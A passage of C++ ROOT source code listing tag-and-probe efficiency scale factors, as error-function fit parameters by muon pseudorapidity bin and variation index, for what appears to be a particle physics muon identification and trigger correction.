0.9780*TMath::Erf((x-0.6907)/2.6474);\n else if (idx==31 ) num = 0.9750*TMath::Erf((x-1.2125)/2.1596);\n else if (idx==32 ) num = 0.9875*TMath::Erf((x-0.4066)/3.0293);\n else if (idx==33 ) num = 0.9435*TMath::Erf((x-1.7034)/1.3893);\n else if (idx==34 ) num = 0.9647*TMath::Erf((x-1.2425)/1.9835);\n else if (idx==35 ) num = 0.9643*TMath::Erf((x-0.5486)/2.7589);\n else if (idx==36 ) num = 0.9696*TMath::Erf((x-1.2034)/2.0922);\n else if (idx==37 ) num = 0.9647*TMath::Erf((x-1.1622)/2.1077);\n else if (idx==38 ) num = 0.9638*TMath::Erf((x-1.1493)/2.1684);\n else if (idx==39 ) num = 0.9608*TMath::Erf((x-1.5260)/1.7004);\n else if (idx==40 ) num = 0.9784*TMath::Erf((x-0.9245)/2.4133);\n else if (idx==41 ) num = 0.9694*TMath::Erf((x-0.6601)/2.6798);\n else if (idx==42 ) num = 0.9694*TMath::Erf((x-1.0725)/2.2150);\n else if (idx==43 ) num = 0.9709*TMath::Erf((x-1.1948)/2.0999);\n else if (idx==44 ) num = 0.9994*TMath::Erf((x-0.7046)/2.8191);\n else if (idx==45 ) num = 0.9717*TMath::Erf((x-1.1572)/2.1618);\n else if (idx==46 ) num = 0.9668*TMath::Erf((x-1.2549)/2.0258);\n else if (idx==47 ) num = 0.9881*TMath::Erf((x-0.7124)/2.6168);\n else if (idx==48 ) num = 0.9762*TMath::Erf((x-0.7719)/2.5990);\n else if (idx==49 ) num = 0.9681*TMath::Erf((x-1.3814)/1.8730);\n else if (idx==50 ) num = 0.9741*TMath::Erf((x-0.7377)/2.6037);\n else if (idx==51 ) num = 0.9698*TMath::Erf((x-1.0154)/2.3301);\n else if (idx==52 ) num = 0.9739*TMath::Erf((x-0.6024)/2.6989);\n else if (idx==53 ) num = 0.9654*TMath::Erf((x-1.4714)/1.7744);\n else if (idx==54 ) num = 0.9788*TMath::Erf((x-0.5921)/2.8095);\n else if (idx==55 ) num = 0.9674*TMath::Erf((x-1.3385)/2.0008);\n else if (idx==56 ) num = 0.9753*TMath::Erf((x-0.7505)/2.6561);\n else if (idx==57 ) num = 0.9915*TMath::Erf((x-0.5006)/3.0452);\n else if (idx==58 ) num = 0.9789*TMath::Erf((x-0.3582)/3.0704);\n else if (idx==59 ) num = 0.9813*TMath::Erf((x-0.1746)/3.1458);\n else if (idx==60 ) num = 0.9937*TMath::Erf((x-0.5639)/2.8380);\n else if (idx==61 ) num = 0.9752*TMath::Erf((x-0.6244)/2.7183);\n else if (idx==62 ) num = 0.9933*TMath::Erf((x-0.4229)/3.0276);\n else if (idx==63 ) num = 0.9676*TMath::Erf((x-0.9515)/2.2616);\n else if (idx==64 ) num = 0.9711*TMath::Erf((x-1.1906)/2.1208);\n else if (idx==65 ) num = 0.9772*TMath::Erf((x-1.1955)/2.1415);\n else if (idx==66 ) num = 0.9557*TMath::Erf((x-1.5576)/1.5638);\n else if (idx==67 ) num = 0.9995*TMath::Erf((x-0.5510)/2.9726);\n else if (idx==68 ) num = 0.9754*TMath::Erf((x-1.0703)/2.3058);\n else if (idx==69 ) num = 0.9755*TMath::Erf((x-1.1692)/2.1517);\n else if (idx==70 ) num = 0.9659*TMath::Erf((x-1.4382)/1.8701);\n else if (idx==71 ) num = 0.9804*TMath::Erf((x-0.8016)/2.6120);\n else if (idx==72 ) num = 0.9775*TMath::Erf((x-0.6922)/2.7078);\n else if (idx==73 ) num = 0.9713*TMath::Erf((x-0.8208)/2.5738);\n else if (idx==74 ) num = 0.9683*TMath::Erf((x-1.0708)/2.2729);\n else if (idx==75 ) num = 0.9691*TMath::Erf((x-0.6992)/2.5727);\n else if (idx==76 ) num = 0.9764*TMath::Erf((x-0.1513)/3.1129);\n else if (idx==77 ) num = 0.9704*TMath::Erf((x-1.0191)/2.3289);\n else if (idx==78 ) num = 0.9716*TMath::Erf((x-1.0818)/2.1600);\n else if (idx==79 ) num = 0.9777*TMath::Erf((x-0.6776)/2.7371);\n else if (idx==80 ) num = 0.9881*TMath::Erf((x-0.3183)/3.1203);\n else if (idx==81 ) num = 0.9974*TMath::Erf((x-0.7883)/2.7769);\n else if (idx==82 ) num = 0.9673*TMath::Erf((x-1.5485)/1.6782);\n else if (idx==83 ) num = 0.9926*TMath::Erf((x-0.8995)/2.4962);\n else if (idx==84 ) num = 0.9683*TMath::Erf((x-0.8082)/2.5190);\n else if (idx==85 ) num = 0.9807*TMath::Erf((x-1.0941)/2.2703);\n else if (idx==86 ) num = 0.9655*TMath::Erf((x-0.9080)/2.4409);\n else if (idx==87 ) num = 0.9713*TMath::Erf((x-0.8185)/2.5144);\n else if (idx==88 ) num = 0.9629*TMath::Erf((x-1.0726)/2.2500);\n else if (idx==89 ) num = 0.9828*TMath::Erf((x-0.3977)/2.9414);\n else if (idx==90 ) num = 0.9747*TMath::Erf((x-1.0780)/2.2479);\n else if (idx==91 ) num = 0.9648*TMath::Erf((x-1.2186)/2.0635);\n else if (idx==92 ) num = 0.9729*TMath::Erf((x-1.0200)/2.3461);\n else if (idx==93 ) num = 0.9751*TMath::Erf((x-1.1198)/2.1788);\n else if (idx==94 ) num = 0.9618*TMath::Erf((x-1.2555)/1.9968);\n else if (idx==95 ) num = 0.9930*TMath::Erf((x-0.5569)/2.8619);\n else if (idx==96 ) num = 0.9479*TMath::Erf((x-1.1822)/1.9777);\n else if (idx==97 ) num = 0.9653*TMath::Erf((x-1.4351)/1.8350);\n else if (idx==98 ) num = 0.9877*TMath::Erf((x-1.1694)/2.3072);\n else if (idx==99 ) num = 0.9845*TMath::Erf((x-1.2104)/2.1558);\n else if (idx==100 ) num = 0.9621*TMath::Erf((x-1.2094)/1.9538);\n }\n else if (fabs(eta)<2.1)\n {\n if (idx==0) num = 0.9194*TMath::Erf((x-0.9733)/2.1374);\n else if (idx == -1 ) num = 0.9231*TMath::Erf((x-0.8453)/2.2609);\n else if (idx == -2 ) num = 0.9147*TMath::Erf((x-1.0894)/2.0185);\n else if (idx == 1 ) num = 0.9136*TMath::Erf((x-0.8890)/2.2189);\n else if (idx == 2 ) num = 0.9143*TMath::Erf((x-1.1614)/1.8663);\n else if (idx == 3 ) num = 0.9219*TMath::Erf((x-1.0305)/2.0959);\n else if (idx == 4 ) num = 0.9389*TMath::Erf((x-0.8146)/2.5125);\n else if (idx == 5 ) num = 0.9282*TMath::Erf((x-0.8912)/2.2689);\n else if (idx == 6 ) num = 0.9089*TMath::Erf((x-1.1956)/1.7182);\n else if (idx == 7 ) num = 0.9060*TMath::Erf((x-1.5305)/1.3611);\n else if (idx == 8 ) num = 0.9330*TMath::Erf((x-0.7772)/2.4646);\n else if (idx == 9 ) num = 0.9373*TMath::Erf((x-0.8982)/2.3104);\n else if (idx == 10 ) num = 0.9334*TMath::Erf((x-0.8014)/2.3380);\n else if (idx == 11 ) num = 0.9171*TMath::Erf((x-1.2998)/1.7800);\n else if (idx == 12 ) num = 0.9205*TMath::Erf((x-1.2009)/1.8539);\n else if (idx == 13 ) num = 0.9227*TMath::Erf((x-1.0014)/2.1622);\n else if (idx == 14 ) num = 0.9106*TMath::Erf((x-1.1427)/1.8989);\n else if (idx == 15 ) num = 0.9198*TMath::Erf((x-1.0855)/1.9159);\n else if (idx == 16 ) num = 0.9030*TMath::Erf((x-1.1239)/1.8559);\n else if (idx == 17 ) num = 0.9125*TMath::Erf((x-1.0541)/1.9829);\n else if (idx == 18 ) num = 0.9332*TMath::Erf((x-0.8008)/2.4238);\n else if (idx == 19 ) num = 0.9224*TMath::Erf((x-0.9452)/2.1581);\n else if (idx == 20 ) num = 0.9066*TMath::Erf((x-1.1043)/1.9367);\n else if (idx == 21 ) num = 0.9079*TMath::Erf((x-1.2229)/1.7043);\n else if (idx == 22 ) num = 0.9118*TMath::Erf((x-1.0026)/2.0035);\n else if (idx == 23 ) num = 0.9319*TMath::Erf((x-0.8512)/2.4270);\n else if (idx == 24 ) num = 0.9116*TMath::Erf((x-1.2237)/1.7587);\n else if (idx == 25 ) num = 0.9123*TMath::Erf((x-0.9056)/2.2180);\n else if (idx == 26 ) num = 0.9135*TMath::Erf((x-0.8956)/2.2129);\n else if (idx == 27 ) num = 0.9100*TMath::Erf((x-1.2214)/1.7898);\n else if (idx == 28 ) num = 0.9136*TMath::Erf((x-0.6790)/2.5150);\n else if (idx == 29 ) num = 0.9196*TMath::Erf((x-1.1365)/1.8568);\n else if (idx == 30 ) num = 0.9027*TMath::Erf((x-0.9514)/2.1689);\n else if (idx == 31 ) num = 0.9181*TMath::Erf((x-1.3820)/1.5986);\n else if (idx == 32 ) num = 0.9074*TMath::Erf((x-1.0125)/2.1852);\n else if (idx == 33 ) num = 0.9063*TMath::Erf((x-1.1293)/2.0074);\n else if (idx == 34 ) num = 0.9219*TMath::Erf((x-0.8299)/2.3550);\n else if (idx == 35 ) num = 0.9139*TMath::Erf((x-1.0402)/1.9759);\n else if (idx == 36 ) num = 0.9251*TMath::Erf((x-0.9864)/2.1405);\n else if (idx == 37 ) num = 0.9180*TMath::Erf((x-1.3252)/1.6162);\n else if (idx == 38 ) num = 0.9115*TMath::Erf((x-0.8794)/2.2442);\n else if (idx == 39 ) num = 0.9300*TMath::Erf((x-0.9588)/2.2023);\n else if (idx == 40 ) num = 0.9358*TMath::Erf((x-0.5255)/2.8061);\n else if (idx == 41 ) num = 0.9179*TMath::Erf((x-0.9750)/2.0591);\n else if (idx == 42 ) num = 0.9224*TMath::Erf((x-1.1167)/2.0221);\n else if (idx == 43 ) num = 0.9262*TMath::Erf((x-1.3012)/1.7483);\n else if (idx == 44 ) num = 0.9186*TMath::Erf((x-0.9977)/2.1139);\n else if (idx == 45 ) num = 0.9117*TMath::Erf((x-0.8147)/2.2814);\n else if (idx == 46 ) num = 0.9203*TMath::Erf((x-0.8888)/2.2076);\n else if (idx == 47 ) num = 0.9361*TMath::Erf((x-0.8648)/2.2962);\n else if (idx == 48 ) num = 0.9273*TMath::Erf((x-1.1748)/1.8930);\n else if (idx == 49 ) num = 0.9213*TMath::Erf((x-0.7159)/2.2602);\n else if (idx == 50 ) num = 0.9110*TMath::Erf((x-0.8012)/2.2979);\n else if (idx == 51 ) num = 0.9277*TMath::Erf((x-1.0984)/2.0348);\n else if (idx == 52 ) num = 0.9281*TMath::Erf((x-1.0283)/2.1330);\n else if (idx == 53 ) num = 0.9197*TMath::Erf((x-0.9655)/2.2792);\n else if (idx == 54 ) num = 0.9193*TMath::Erf((x-0.9371)/2.1170);\n else if (idx == 55 ) num = 0.9282*TMath::Erf((x-0.6647)/2.5108);\n else if (idx == 56 ) num = 0.9269*TMath::Erf((x-0.9371)/2.2086);\n else if (idx == 57 ) num = 0.9390*TMath::Erf((x-1.1537)/2.0261);\n else if (idx == 58 ) num = 0.8994*TMath::Erf((x-1.0848)/1.9149);\n else if (idx == 59 ) num = 0.8955*TMath::Erf((x-1.0163)/1.9935);\n else if (idx == 60 ) num = 0.9070*TMath::Erf((x-0.9321)/2.1018);\n else if (idx == 61 ) num = 0.9081*TMath::Erf((x-0.8588)/2.2016);\n else if (idx == 62 ) num = 0.9061*TMath::Erf((x-1.3879)/1.5605);\n else if (idx == 63 ) num = 0.9117*TMath::Erf((x-1.3374)/1.6472);\n else if (idx == 64 ) num = 0.9175*TMath::Erf((x-1.1181)/1.9847);\n else if (idx == 65 ) num = 0.9306*TMath::Erf((x-1.2060)/1.8942);\n else if (idx == 66 ) num = 0.9108*TMath::Erf((x-0.8332)/2.2913);\n else if (idx == 67 ) num = 0.9112*TMath::Erf((x-1.0143)/2.0736);\n else if (idx == 68 ) num = 0.9223*TMath::Erf((x-0.8414)/2.2866);\n else if (idx == 69 ) num = 0.9252*TMath::Erf((x-1.0402)/2.1944);\n else if (idx == 70 ) num = 0.9255*TMath::Erf((x-0.9230)/2.1973);\n else if (idx == 71 ) num = 0.9353*TMath::Erf((x-0.8712)/2.4505);\n else if (idx == 72 ) num = 0.9339*TMath::Erf((x-0.9489)/2.2496);\n else if (idx == 73 ) num = 0.9057*TMath::Erf((x-1.1914)/1.8161);\n else if (idx == 74 ) num = 0.9176*TMath::Erf((x-0.9172)/2.1535);\n else if (idx == 75 ) num = 0.9309*TMath::Erf((x-0.8589)/2.4201);\n else if (idx == 76 ) num = 0.9212*TMath::Erf((x-0.9165)/2.1658);\n else if (idx == 77 ) num = 0.9241*TMath::Erf((x-1.0771)/2.0346);\n else if (idx == 78 ) num = 0.9169*TMath::Erf((x-0.8655)/2.2281);\n else if (idx == 79 ) num = 0.9130*TMath::Erf((x-1.1189)/1.9109);\n else if (idx == 80 ) num = 0.9394*TMath::Erf((x-0.8063)/2.5163);\n else if (idx == 81 ) num = 0.9217*TMath::Erf((x-1.0160)/2.0265);\n else if (idx == 82 ) num = 0.9114*TMath::Erf((x-1.3426)/1.6690);\n else if (idx == 83 ) num = 0.9273*TMath::Erf((x-0.6706)/2.5357);\n else if (idx == 84 ) num = 0.8885*TMath::Erf((x-1.0660)/1.8581);\n else if (idx == 85 ) num = 0.9254*TMath::Erf((x-1.0400)/1.9650);\n else if (idx == 86 ) num = 0.9264*TMath::Erf((x-1.0145)/2.0810);\n else if (idx == 87 ) num = 0.9179*TMath::Erf((x-0.8640)/2.2218);\n else if (idx == 88 ) num = 0.9270*TMath::Erf((x-0.9804)/2.1203);\n else if (idx == 89 ) num = 0.9163*TMath::Erf((x-1.0244)/2.0294);\n else if (idx == 90 ) num = 0.9051*TMath::Erf((x-0.9415)/2.1941);\n else if (idx == 91 ) num = 0.9134*TMath::Erf((x-0.5733)/2.6140);\n else if (idx == 92 ) num = 0.9277*TMath::Erf((x-0.8292)/2.3615);\n else if (idx == 93 ) num = 0.9091*TMath::Erf((x-0.9803)/2.0822);\n else if (idx == 94 ) num = 0.9193*TMath::Erf((x-1.0026)/2.0792);\n else if (idx == 95 ) num = 0.9217*TMath::Erf((x-1.2577)/1.8122);\n else if (idx == 96 ) num = 0.9014*TMath::Erf((x-1.2271)/1.6965);\n else if (idx == 97 ) num = 0.9216*TMath::Erf((x-0.9389)/2.1746);\n else if (idx == 98 ) num = 0.9150*TMath::Erf((x-0.9944)/2.1404);\n else if (idx == 99 ) num = 0.9097*TMath::Erf((x-0.8439)/2.1981);\n else if (idx == 100 ) num = 0.9104*TMath::Erf((x-0.8171)/2.4001);\n }\n else\n {\n if (idx==0) num = 0.8079*TMath::Erf((x-0.9421)/0.8577);\n else if (idx == -1 ) num = 0.8211*TMath::Erf((x-0.9282)/0.8999);\n else if (idx == -2 ) num = 0.7941*TMath::Erf((x-0.9906)/0.7813);\n else if (idx == 1 ) num = 0.8056*TMath::Erf((x-1.6103)/0.2200);\n else if (idx == 2 ) num = 0.8363*TMath::Erf((x-0.0000)/1.9077);\n else if (idx == 3 ) num = 0.8078*TMath::Erf((x-1.1152)/0.8519);\n else if (idx == 4 ) num = 0.7736*TMath::Erf((x-0.6190)/0.4166);\n else if (idx == 5 ) num = 0.8128*TMath::Erf((x-1.4446)/0.3582);\n else if (idx == 6 ) num = 0.8259*TMath::Erf((x-1.1372)/0.9449);\n else if (idx == 7 ) num = 0.8460*TMath::Erf((x-0.6870)/0.3865);\n else if (idx == 8 ) num = 0.8077*TMath::Erf((x-0.5292)/1.0800);\n else if (idx == 9 ) num = 0.8057*TMath::Erf((x-0.9524)/0.9679);\n else if (idx == 10 ) num = 0.8470*TMath::Erf((x-0.0012)/1.7617);\n else if (idx == 11 ) num = 0.8019*TMath::Erf((x-1.1453)/0.7969);\n else if (idx == 12 ) num = 0.8197*TMath::Erf((x-0.9877)/0.8917);\n else if (idx == 13 ) num = 0.7789*TMath::Erf((x-0.0004)/1.6429);\n else if (idx == 14 ) num = 0.7852*TMath::Erf((x-0.6597)/0.3558);\n else if (idx == 15 ) num = 0.8214*TMath::Erf((x-0.0000)/1.8619);\n else if (idx == 16 ) num = 0.7848*TMath::Erf((x-1.5317)/0.3120);\n else if (idx == 17 ) num = 0.8037*TMath::Erf((x-1.5570)/0.2359);\n else if (idx == 18 ) num = 0.7886*TMath::Erf((x-1.1624)/0.5437);\n else if (idx == 19 ) num = 0.7824*TMath::Erf((x-0.5396)/1.1359);\n else if (idx == 20 ) num = 0.7860*TMath::Erf((x-1.4176)/0.3419);\n else if (idx == 21 ) num = 0.8193*TMath::Erf((x-1.1025)/0.7039);\n else if (idx == 22 ) num = 0.7929*TMath::Erf((x-1.6091)/0.2073);\n else if (idx == 23 ) num = 0.7997*TMath::Erf((x-0.0001)/1.4745);\n else if (idx == 24 ) num = 0.7877*TMath::Erf((x-0.0000)/1.6610);\n else if (idx == 25 ) num = 0.7838*TMath::Erf((x-0.6438)/0.3553);\n else if (idx == 26 ) num = 0.8296*TMath::Erf((x-0.6897)/0.3656);\n else if (idx == 27 ) num = 0.8230*TMath::Erf((x-1.0366)/0.9573);\n else if (idx == 28 ) num = 0.8098*TMath::Erf((x-0.8357)/0.9431);\n else if (idx == 29 ) num = 0.7889*TMath::Erf((x-1.2595)/0.5656);\n else if (idx == 30 ) num = 0.8530*TMath::Erf((x-0.3186)/1.9275);\n else if (idx == 31 ) num = 0.8247*TMath::Erf((x-1.5087)/0.2973);\n else if (idx == 32 ) num = 0.7911*TMath::Erf((x-1.5843)/0.2086);\n else if (idx == 33 ) num = 0.7873*TMath::Erf((x-0.5589)/1.2147);\n else if (idx == 34 ) num = 0.7971*TMath::Erf((x-1.4626)/0.2584);\n else if (idx == 35 ) num = 0.8005*TMath::Erf((x-0.0000)/1.6135);\n else if (idx == 36 ) num = 0.7791*TMath::Erf((x-0.4788)/0.2388);\n else if (idx == 37 ) num = 0.7930*TMath::Erf((x-0.0045)/1.5717);\n else if (idx == 38 ) num = 0.7977*TMath::Erf((x-0.9392)/0.8600);\n else if (idx == 39 ) num = 0.7937*TMath::Erf((x-1.0338)/0.7507);\n else if (idx == 40 ) num = 0.7907*TMath::Erf((x-1.1912)/0.8897);\n else if (idx == 41 ) num = 0.7962*TMath::Erf((x-0.0000)/1.5652);\n else if (idx == 42 ) num = 0.8132*TMath::Erf((x-0.7345)/0.5072);\n else if (idx == 43 ) num = 0.8098*TMath::Erf((x-1.4911)/0.2409);\n else if (idx == 44 ) num = 0.8182*TMath::Erf((x-0.6608)/0.3465);\n else if (idx == 45 ) num = 0.8074*TMath::Erf((x-0.0000)/1.5236);\n else if (idx == 46 ) num = 0.8176*TMath::Erf((x-1.5892)/0.2123);\n else if (idx == 47 ) num = 0.7789*TMath::Erf((x-0.7727)/0.9241);\n else if (idx == 48 ) num = 0.8146*TMath::Erf((x-0.0000)/1.9448);\n else if (idx == 49 ) num = 0.8159*TMath::Erf((x-0.8485)/0.9537);\n else if (idx == 50 ) num = 0.8444*TMath::Erf((x-0.0000)/2.3424);\n else if (idx == 51 ) num = 0.8261*TMath::Erf((x-1.2050)/0.6735);\n else if (idx == 52 ) num = 0.8154*TMath::Erf((x-0.1403)/1.3527);\n else if (idx == 53 ) num = 0.8402*TMath::Erf((x-0.0002)/2.2443);\n else if (idx == 54 ) num = 0.8308*TMath::Erf((x-0.0000)/1.7752);\n else if (idx == 55 ) num = 0.7957*TMath::Erf((x-1.5440)/0.2214);\n else if (idx == 56 ) num = 0.7966*TMath::Erf((x-0.0031)/1.2847);\n else if (idx == 57 ) num = 0.8248*TMath::Erf((x-0.0000)/1.7527);\n else if (idx == 58 ) num = 0.8137*TMath::Erf((x-1.1530)/0.5978);\n else if (idx == 59 ) num = 0.8026*TMath::Erf((x-1.1938)/0.6154);\n else if (idx == 60 ) num = 0.7613*TMath::Erf((x-1.4313)/0.4128);\n else if (idx == 61 ) num = 0.8146*TMath::Erf((x-1.6101)/0.1989);\n else if (idx == 62 ) num = 0.8238*TMath::Erf((x-1.2892)/0.7766);\n else if (idx == 63 ) num = 0.7815*TMath::Erf((x-1.1236)/0.3757);\n else if (idx == 64 ) num = 0.8347*TMath::Erf((x-0.0000)/2.3934);\n else if (idx == 65 ) num = 0.8223*TMath::Erf((x-0.9849)/0.8888);\n else if (idx == 66 ) num = 0.7940*TMath::Erf((x-0.9704)/0.8937);\n else if (idx == 67 ) num = 0.8240*TMath::Erf((x-0.0119)/1.3856);\n else if (idx == 68 ) num = 0.7962*TMath::Erf((x-0.0000)/1.4659);\n else if (idx == 69 ) num = 0.8461*TMath::Erf((x-0.3805)/1.4052);\n else if (idx == 70 ) num = 0.8013*TMath::Erf((x-1.1735)/0.5411);\n else if (idx == 71 ) num = 0.7967*TMath::Erf((x-0.0000)/1.0902);\n else if (idx == 72 ) num = 0.8220*TMath::Erf((x-1.5990)/0.2022);\n else if (idx == 73 ) num = 0.7906*TMath::Erf((x-1.0907)/0.6622);\n else if (idx == 74 ) num = 0.8162*TMath::Erf((x-1.0903)/0.7047);\n else if (idx == 75 ) num = 0.8398*TMath::Erf((x-0.0000)/1.8480);\n else if (idx == 76 ) num = 0.8208*TMath::Erf((x-0.7020)/1.1439);\n else if (idx == 77 ) num = 0.8119*TMath::Erf((x-1.1593)/0.7509);\n else if (idx == 78 ) num = 0.8124*TMath::Erf((x-1.2988)/0.6738);\n else if (idx == 79 ) num = 0.8094*TMath::Erf((x-0.9686)/0.8786);\n else if (idx == 80 ) num = 0.8533*TMath::Erf((x-1.0974)/1.0263);\n else if (idx == 81 ) num = 0.7965*TMath::Erf((x-1.4786)/0.5360);\n else if (idx == 82 ) num = 0.7923*TMath::Erf((x-0.6557)/0.3657);\n else if (idx == 83 ) num = 0.7796*TMath::Erf((x-0.4551)/0.1290);\n else if (idx == 84 ) num = 0.8040*TMath::Erf((x-0.6722)/0.3595);\n else if (idx == 85 ) num = 0.8045*TMath::Erf((x-1.4161)/0.5137);\n else if (idx == 86 ) num = 0.8101*TMath::Erf((x-1.5392)/0.2451);\n else if (idx == 87 ) num = 0.8055*TMath::Erf((x-0.7864)/0.6117);\n else if (idx == 88 ) num = 0.8407*TMath::Erf((x-0.0004)/1.8438);\n else if (idx == 89 ) num = 0.7927*TMath::Erf((x-1.4325)/0.3236);\n else if (idx == 90 ) num = 0.8128*TMath::Erf((x-0.9951)/1.0570);\n else if (idx == 91 ) num = 0.8446*TMath::Erf((x-1.6056)/0.2033);\n else if (idx == 92 ) num = 0.7835*TMath::Erf((x-0.6747)/0.9460);\n else if (idx == 93 ) num = 0.7984*TMath::Erf((x-0.8991)/1.0029);\n else if (idx == 94 ) num = 0.8150*TMath::Erf((x-0.0000)/1.4728);\n else if (idx == 95 ) num = 0.7871*TMath::Erf((x-0.9038)/0.9169);\n else if (idx == 96 ) num = 0.8038*TMath::Erf((x-1.3358)/0.3702);\n else if (idx == 97 ) num = 0.8265*TMath::Erf((x-0.3027)/1.7874);\n else if (idx == 98 ) num = 0.8565*TMath::Erf((x-0.0001)/2.4075);\n else if (idx == 99 ) num = 0.8269*TMath::Erf((x-0.6933)/1.0097);\n else if (idx == 100 ) num = 0.8245*TMath::Erf((x-1.1228)/0.8057);\n }\n\n // return\n return num/den;\n}\n\n/////////////////////////////////////////////////////////////\n// M U I D + T R G P P //\n/////////////////////////////////////////////////////////////\ndouble tnp_weight_muidtrg_pp(double x, double eta, int idx)\n{\n // denominator (from MC)\n double den=1;\n if (fabs(eta)<0.9) den = 0.9547*TMath::Erf((x-1.7776)/2.0497);\n else if (fabs(eta)<1.6) den = 0.9150*TMath::Erf((x-1.8502)/1.6651);\n else if (fabs(eta)<2.1) den = 0.8721*TMath::Erf((x-1.1449)/2.5504);\n else den = 0.6137*TMath::Erf((x-1.0202)/1.0729);\n\n // numerator (from data)\n double num=1;\n if (fabs(eta)<0.9)\n {\n if (idx==0) num = 0.9452*TMath::Erf((x-1.9895)/1.6646);\n else if (idx == -1 ) num = 0.9464*TMath::Erf((x-1.9423)/1.6791);\n else if (idx == -2 ) num = 0.9444*TMath::Erf((x-2.0398)/1.6463);\n else if (idx == 1 ) num = 0.9483*TMath::Erf((x-1.3362)/2.1673);\n else if (idx == 2 ) num = 0.9477*TMath::Erf((x-1.6542)/2.0202);\n else if (idx == 3 ) num = 0.9423*TMath::Erf((x-1.8122)/1.8067);\n else if (idx == 4 ) num = 0.9428*TMath::Erf((x-1.7459)/1.8705);\n else if (idx == 5 ) num = 0.9470*TMath::Erf((x-2.0749)/1.6280);\n else if (idx == 6 ) num = 0.9375*TMath::Erf((x-2.0581)/1.5661);\n else if (idx == 7 ) num = 0.9374*TMath::Erf((x-2.3451)/1.3376);\n else if (idx == 8 ) num = 0.9503*TMath::Erf((x-2.1375)/1.5256);\n else if (idx == 9 ) num = 0.9459*TMath::Erf((x-1.7659)/1.8494);\n else if (idx == 10 ) num = 0.9457*TMath::Erf((x-1.9827)/1.6586);\n else if (idx == 11 ) num = 0.9441*TMath::Erf((x-2.2392)/1.4087);\n else if (idx == 12 ) num = 0.9377*TMath::Erf((x-1.9663)/1.6504);\n else if (idx == 13 ) num = 0.9450*TMath::Erf((x-2.0095)/1.6808);\n else if (idx == 14 ) num = 0.9495*TMath::Erf((x-1.9847)/1.6555);\n else if (idx == 15 ) num = 0.9431*TMath::Erf((x-1.9126)/1.7116);\n else if (idx == 16 ) num = 0.9546*TMath::Erf((x-1.5625)/2.1135);\n else if (idx == 17 ) num = 0.9527*TMath::Erf((x-1.6592)/2.0238);\n else if (idx == 18 ) num = 0.9518*TMath::Erf((x-1.3956)/2.1133);\n else if (idx == 19 ) num = 0.9487*TMath::Erf((x-1.4774)/2.1432);\n else if (idx == 20 ) num = 0.9458*TMath::Erf((x-1.9738)/1.6501);\n else if (idx == 21 ) num = 0.9457*TMath::Erf((x-1.5396)/2.0235);\n else if (idx == 22 ) num = 0.9427*TMath::Erf((x-2.2034)/1.4990);\n else if (idx == 23 ) num = 0.9471*TMath::Erf((x-1.8383)/1.7690);\n else if (idx == 24 ) num = 0.9503*TMath::Erf((x-1.6669)/1.9466);\n else if (idx == 25 ) num = 0.9531*TMath::Erf((x-1.9542)/1.7182);\n else if (idx == 26 ) num = 0.9464*TMath::Erf((x-2.0405)/1.6082);\n else if (idx == 27 ) num = 0.9493*TMath::Erf((x-1.4188)/2.2079);\n else if (idx == 28 ) num = 0.9442*TMath::Erf((x-2.2467)/1.4232);\n else if (idx == 29 ) num = 0.9413*TMath::Erf((x-1.7924)/1.7962);\n else if (idx == 30 ) num = 0.9491*TMath::Erf((x-1.9612)/1.7506);\n else if (idx == 31 ) num = 0.9476*TMath::Erf((x-1.8944)/1.7391);\n else if (idx == 32 ) num = 0.9442*TMath::Erf((x-1.5842)/2.0101);\n else if (idx == 33 ) num = 0.9492*TMath::Erf((x-2.1584)/1.5558);\n else if (idx == 34 ) num = 0.9515*TMath::Erf((x-1.4319)/2.1722);\n else if (idx == 35 ) num = 0.9431*TMath::Erf((x-2.3194)/1.3397);\n else if (idx == 36 ) num = 0.9404*TMath::Erf((x-2.1599)/1.4844);\n else if (idx == 37 ) num = 0.9527*TMath::Erf((x-1.8584)/1.8439);\n else if (idx == 38 ) num = 0.9498*TMath::Erf((x-1.8268)/1.8022);\n else if (idx == 39 ) num = 0.9454*TMath::Erf((x-1.9100)/1.7528);\n else if (idx == 40 ) num = 0.9509*TMath::Erf((x-1.8071)/1.8729);\n else if (idx == 41 ) num = 0.9459*TMath::Erf((x-1.5921)/2.0436);\n else if (idx == 42 ) num = 0.9459*TMath::Erf((x-1.8862)/1.7767);\n else if (idx == 43 ) num = 0.9421*TMath::Erf((x-2.3702)/1.3372);\n else if (idx == 44 ) num = 0.9438*TMath::Erf((x-2.1081)/1.5347);\n else if (idx == 45 ) num = 0.9460*TMath::Erf((x-2.1597)/1.5050);\n else if (idx == 46 ) num = 0.9446*TMath::Erf((x-1.9137)/1.7179);\n else if (idx == 47 ) num = 0.9476*TMath::Erf((x-1.3248)/2.2502);\n else if (idx == 48 ) num = 0.9477*TMath::Erf((x-2.0664)/1.5615);\n else if (idx == 49 ) num = 0.9401*TMath::Erf((x-1.8205)/1.8024);\n else if (idx == 50 ) num = 0.9464*TMath::Erf((x-1.7524)/1.8710);\n else if (idx == 51 ) num = 0.9447*TMath::Erf((x-1.9361)/1.7098);\n else if (idx == 52 ) num = 0.9448*TMath::Erf((x-2.1506)/1.4861);\n else if (idx == 53 ) num = 0.9412*TMath::Erf((x-2.2622)/1.4482);\n else if (idx == 54 ) num = 0.9504*TMath::Erf((x-2.0114)/1.6768);\n else if (idx == 55 ) num = 0.9444*TMath::Erf((x-1.7792)/1.8362);\n else if (idx == 56 ) num = 0.9448*TMath::Erf((x-1.9716)/1.6499);\n else if (idx == 57 ) num = 0.9491*TMath::Erf((x-1.8497)/1.8145);\n else if (idx == 58 ) num = 0.9433*TMath::Erf((x-1.9355)/1.7135);\n else if (idx == 59 ) num = 0.9519*TMath::Erf((x-1.2819)/2.3067);\n else if (idx == 60 ) num = 0.9478*TMath::Erf((x-2.1621)/1.5231);\n else if (idx == 61 ) num = 0.9465*TMath::Erf((x-2.1703)/1.5236);\n else if (idx == 62 ) num = 0.9466*TMath::Erf((x-2.1639)/1.5152);\n else if (idx == 63 ) num = 0.9491*TMath::Erf((x-2.0715)/1.6405);\n else if (idx == 64 ) num = 0.9433*TMath::Erf((x-2.2480)/1.4026);\n else if (idx == 65 ) num = 0.9478*TMath::Erf((x-2.2398)/1.4695);\n else if (idx == 66 ) num = 0.9447*TMath::Erf((x-2.2079)/1.5108);\n else if (idx == 67 ) num = 0.9502*TMath::Erf((x-1.8212)/1.8593);\n else if (idx == 68 ) num = 0.9500*TMath::Erf((x-1.9555)/1.7335);\n else if (idx == 69 ) num = 0.9418*TMath::Erf((x-2.4049)/1.3157);\n else if (idx == 70 ) num = 0.9416*TMath::Erf((x-1.6954)/1.8805);\n else if (idx == 71 ) num = 